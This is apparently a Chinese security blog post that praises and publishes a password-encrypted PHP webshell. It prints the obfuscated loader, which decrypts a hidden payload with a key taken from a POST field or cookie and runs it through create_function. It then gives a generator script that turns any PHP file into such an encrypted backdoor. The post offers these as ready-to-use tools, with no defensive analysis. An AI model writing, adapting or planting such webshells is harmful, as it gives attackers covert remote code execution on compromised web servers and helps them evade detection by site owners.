优美的加密WebShell

为什么说它优美，它的加密确实做的非常的不错，用密码来做解密的思路棒极了！只能爆破密码

<?php

$wp__wp = 'base' . (32 * 2) . '_de' . 'code';

$wp__wp = $wp__wp(str_replace(array("\r","\n"), array('',''), 'sF57LTWrfWWCbpXqhIKuMLGuCoZcpOYHdKLhkocso1nWAab9ha0yXMD96/9aQVwpqQXl/tjeoaG92omX

zI9mMw=='));

$wp_wp = isset($_POST['wp_wp']) ? $_POST['wp_wp'] : (isset($_COOKIE['wp_wp']) ? $_COOKIE['wp_wp'] : NULL);

if ($wp_wp !== NULL) {

$wp_wp = md5($wp_wp) . str_repeat(substr(md5(strrev($wp_wp)), 0, strlen($wp_wp)),10);

for ($wp___wp = 0; $wp___wp < 65; $wp___wp++) {

$wp__wp[$wp___wp] = chr((ord($wp__wp[$wp___wp]) - ord($wp_wp[$wp___wp])) % 256);

$wp_wp.= $wp__wp[$wp___wp];

}

if ($wp__wp = @gzinflate($wp__wp)) {

if (isset($_POST['wp_wp'])) @setcookie('wp_wp', $_POST['wp_wp']);

$wp___wp = create_function('', $wp__wp);

unset($wp__wp, $wp_wp);

$wp___wp();

}

} ?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value=">"/></form>

生成代码：

<?php

$file = '1.php'; /*要加密的文件*/

$pass = '123456'; /*登录密码*/

function enc($code,$pass) {

$len = strlen($code);

for($i = 0; $i < $len; $i++) {

$pass .= $code[$i];

$code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);

}

$code = base64_encode($code);

$temp = str_split($code,80);

$newc = join("\r\n",$temp);

return $newc;

}

$code = file_get_contents($file);

$code = base64_encode(' ?>'.$code.'<?php ');

$code = 'eval(base64_decode(\''.$code.'\'));exit;';

$code = gzdeflate($code);

$pass = md5($pass).str_repeat(substr(md5(strrev($pass)),0,strlen($pass)),10);

$out = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);

$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);

$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';

echo htmlspecialchars($out);

echo '</pre>';

代码出自t00ls,稍作修改~

DarkMelody

Noiselessly Of Penetrate

优美的加密WebShell

Debug

分类目录

文章归档

书签